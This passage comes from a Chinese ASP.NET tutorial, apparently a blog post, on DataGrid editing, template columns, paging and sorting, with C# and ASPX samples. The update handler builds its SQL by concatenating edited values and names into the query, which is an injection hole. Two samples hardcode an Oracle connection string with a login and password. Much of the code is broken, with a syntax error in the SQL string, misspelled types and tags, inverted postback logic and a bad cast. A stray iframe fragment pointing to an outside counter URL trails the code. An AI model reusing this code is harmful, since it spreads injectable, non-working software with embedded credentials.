功能便是确定DataGrid控件中哪一个子项需要被编辑,它的默认值是-1。
最后一步是重庆绑定DataGrid中的数据。
本例中,取消按钮单击事件是交由函数DataGrid_CancelCommand来进行处理的。代码如下:
 public void DataGrid_CancelCommand(Object sender,DataGridCommandEventArgs e)
 {
    score.EditItemIndex = -1;
    BindGrid();
 }
将EditItemIndex的值设置为-1,表示当前没有子项将要被编辑。
更新按钮单击事件是交由函数DataGrid_UpdateCommand来处理的。代码如下:
 public void DataGrid_UpdateCommand(Object sender,DataGridEventArgs e)
 {
   //更新数据库中的信息
   string strName = e.Item.Cells[1].Text;
   int intChinese = Int32.Parse(((TextBox)e.Item.Cells[2].Controls[0]).Text);
   int intMath = Int32.Parse(((TextBox)e.Item.Cells[3].Controls[0]).Text);
   int intEnglish = Int32.Parse(((TextBox)e.Item.Cells[4].Controls[0]).Text);
 
   //更新数据库中的数据
   string strUpdate = " update Score set Chinese="+intChinese+",Math="+intMath+,English="+intEnglish+"
   where name=' "+strName+" ' ";
   OleDbCommand MyComm = new OleDbCommand(strUpdate,MyConn);
   MyComm.ExecuteNonQuery();
   score.EditItemIndex = -1 ;
   BindGrid();
 }
事件处理比前面两个稍微复杂了一点。
首先,程序需要取得已更新的数据,本例中更新的数据就是每个人的分数,取得每个单元格数据的代码是:
 ((TextBox)e.Item.Cells[3].Controls[0]).Text
 e.Item.Cells[3].Controls[0]表示的是当前激发事件表格行的第三个单元格的第一个控件。在DataGrid的编辑应用中
这个控件是TextBox。
取地各个需要的值后,下一步便是更新数据库。
最后一步,就是重新绑定DataGrid控件数据。
----》》》注意: 如果一个DataGrid中同时使用ButtonColumn与EditCommonColumn,单击EditCommandColumn中的按钮还
会激发ItemCommand事件,这就意味着将有两个事件处理会被执行。解决的办法是定义ButtonColumn的CommandName或是
CommandArgument属性,在ItemCommand事件处理中先判断命令源(CommandSource)的CommandName或CommandArgument属性
值,然后再执行相应的代码。
 
  5.TemplateColumn
 如果DataGrid提供的列类型不够用,可以用最后一个“杀手锏”---TemplateColumn。在TemplateColumn列类型中,可以
随意添加各种控件,还可以随意控制各种控件布局方式。下面程序中,在TemplateColumn中添加一个LinkButton控件与一个
Lable控件,代码如下:
----DataGridTemplateColumn.aspx----
<%@ page Language=" c# " %>
<%@ Import Namespace=" System.Data" %>
<%@ Import Namespace=" System.Data.OleDb" %>
<script language=" c# " runat="server" %>
 OleDbConnection MyConn;
 public void Page_Load(Object src,EventArgs e)
 {
    //连接语句
    string MyConnString = " " ;
    MyConn = new OleDbConnnection(MyConnString);
    MyConn.Open();
    if(Page.IsPostBack)
    {
      BindGrid();
    }
 }
 public void BindGrid()
 {
  string strSel = " select * from Score " ;
  DataSet ds = new DataSet();
  
  OleDbDataAdapter MyAdapter = new OleDbDataAdapter(strSel,MyConn);
  MyAdapter.Fill(ds,"Score");
  score.DataSource = ds;
  score.DataMember = " Score" ;
  score.DataBind();
 }
 public void DataGrid_ItemCommand(Object sender,DataGridCommandEventArgs e)
 {
   score.EditItemIndex = (int)e.Item.ItemIndex;
   BindGrid();
 }
 </srcipt>
 <html>
 <head>
 <title>DataGridTemplateColumn</title>
 </head>
 <body>
   <form runat=" server ">
   <center>
   <b>演示ButtonColumn</b>
   <asp:DataGrid id="score" runat="server" AutoGenerateColumns="false" OnItemCommand="DataGrid_ItemCommand">
   <Columns>
     <asp:TemplateColumn HeaderText="操作区">
     <ItemTemplate>
        <asp:LinkButton id="btnEdit" Text="修改" runat="server"/>
        <asp:Lable id="lblMan" Text='<%# DataBinder.Eval(Contianer.DataItem,"Name")%>' ForeColor="Red"
        runat="server"/>
     </ItemTemplage>
     </asp:TemplateColumn>
     <asp:ButtonColumn HeaderText="语文" DataFiled="Chinese"/>
     <asp:ButtonColumn HeaderText="数学" DataFiled="Math"/>
     <asp:ButtonColumn HeaderText="英语" DataFiled="English"/>
   </Columns> 
   </asp:DataGrid>
   </center>
   </form>
 </body>
 </html>
   6.DataGird分页功能
000197---亲密接触ASP.Net
----DataGridPageIndex.aspx-----
<%@ page Language=" c# " %>
<%@ Import Namespace=" System.Data" %>
<%@ Import Namespace=" System.Data.OleDb" %>
<script language="C#" runat="server">
    OleDbConnection MyConn;
    public void Page_Load(Object src, EventArgs e)
    {
        //连接字符串
        string MyConnString = "Provider=OraOLEDB.Oracle.1;Persist Security Info=True;User ID=scott;Password=ss;Data Source=orcl";
        MyConn = new OleDbConnection(MyConnString);
        MyConn.Open();
        if (Page.IsPostBack)
        {
            BindGrid();
        }
    }
    ICollection CreateTable()
    {
        string strSel = "select * from emp";
        DataSet ds = new DataSet();
        OleDbDataAdapter MyAdapter = new OleDbDataAdapter(strSel, MyConn);
        MyAdapter.Fill(ds, "Score");
        return ds.Tables["Score"].DefaultView;
    }
    public void BindGrid()
    {
        usrGrid.DataSource = CreateTable();
        usrGrid.DataBind();
    }
    public void DataGrid_PageChanged(Object sender, DataGridPageChangedEventArgs e)
    {
        usrGrid.CurrentPageIndex = e.NewPageIndex;
        BindGrid();
    }
</script>
<html xmlns="
http://www.w3.org/1999/xhtml
" >
<head runat="server">
    <title>无标题页</title>
</head>
<body>
    <form id="form1" runat="server">
    <div>
    <b>演示DataGrid的分页功能</b>
    <asp:DataGrid ID="usrGrid" runat="server" AutoGenerateColumns="false" AllowPaging="true"
    OnPageIndexChanged="DataGrid_PageChanged" PageSize="5">
    <Columns>
       <asp:BoundColumn HeaderText="ID号" DataField="empno" />
       <asp:BoundColumn HeaderText="姓名" DataField="ename" />
       <asp:BoundColumn HeaderText="部门号" DataField="deptno" />
    </Columns>
    </asp:DataGrid>
    </div>
    </form>
</body>
</html>
     -------DataGrid的排序功能 000205(亲密接触)
使用排序功能首先要将AllowSorting属性设置为"true",然后通过OnSortCommand方法建议个SortCommand的事件处理。
代码如下:
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="DataGridSort1.aspx.cs" Inherits="DataGridSort1" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "
http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd
">
<%@ Import Namespace="System.Data" %>
<%@ Import Namespace="System.Data.OleDb" %>
<script language="C#" runat="server">
    OleDbConnection MyConn;
    public void Page_Load(Object src, EventArgs e)
    {
        //连接字符串
        string MyConnString = "Provider=OraOLEDB.Oracle.1;Persist Security Info=True;User ID=scott;Password=ss;Data Source=orcl";
        MyConn = new OleDbConnection(MyConnString);
        MyConn.Open();
        if (Page.IsPostBack)
        {
            ViewState["SortField"]="Name";
            BindGrid();
        }
    }
    ICollection CreateTable()
    {
        string strSel = "select * from Score";
        DataSet ds = new DataSet();
        OleDbDataAdapter MyAdapter = new OleDbDataAdapter(strSel, MyConn);
        MyAdapter.Fill(ds, "Score");
        return ds.Tables["Score"].DefaultView;
    }
    public void BindGrid()
    {
        DataRowView dv = (DataRowView)CreateTable();
        dv.Sort = (string)ViewState["SortField"];
       
        score.DataSource = dv;
        score.DataBind();
    }
    public void DataGrid_Sort(Object sender, DataGridSortCommandEventArgs e)
    {
        ViewState["SortField"] = (string)e.SortExpression;
        BindGrid();
    }
</script>
<html xmlns="
http://www.w3.org/1999/xhtml
" >
<head runat="server">
    <title>无标题页</title>
</head>
<body>
    <form id="form1" runat="server">
    <div>
    <b>排序功能</b>
    <asp:DataGrid ID="score" runat="server" AutoGenerateColumns="false" OnSortCommand="DataGrid_Sort">
    <Columns>
     <asp:BoundColumn HeaderText="姓名" DataField="Name" />
     <asp:BoundColumn HeaderText="语文" DataField="Chinese" />
     <asp:BoundColumn HeaderText="数学" DataField="Math" />
     <asp:BoundColumn HeaderText="英语" DataField="English" />
    </Columns>
    </asp:DataGrid>
    </div>
    </form>
</body>
</html>
 

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值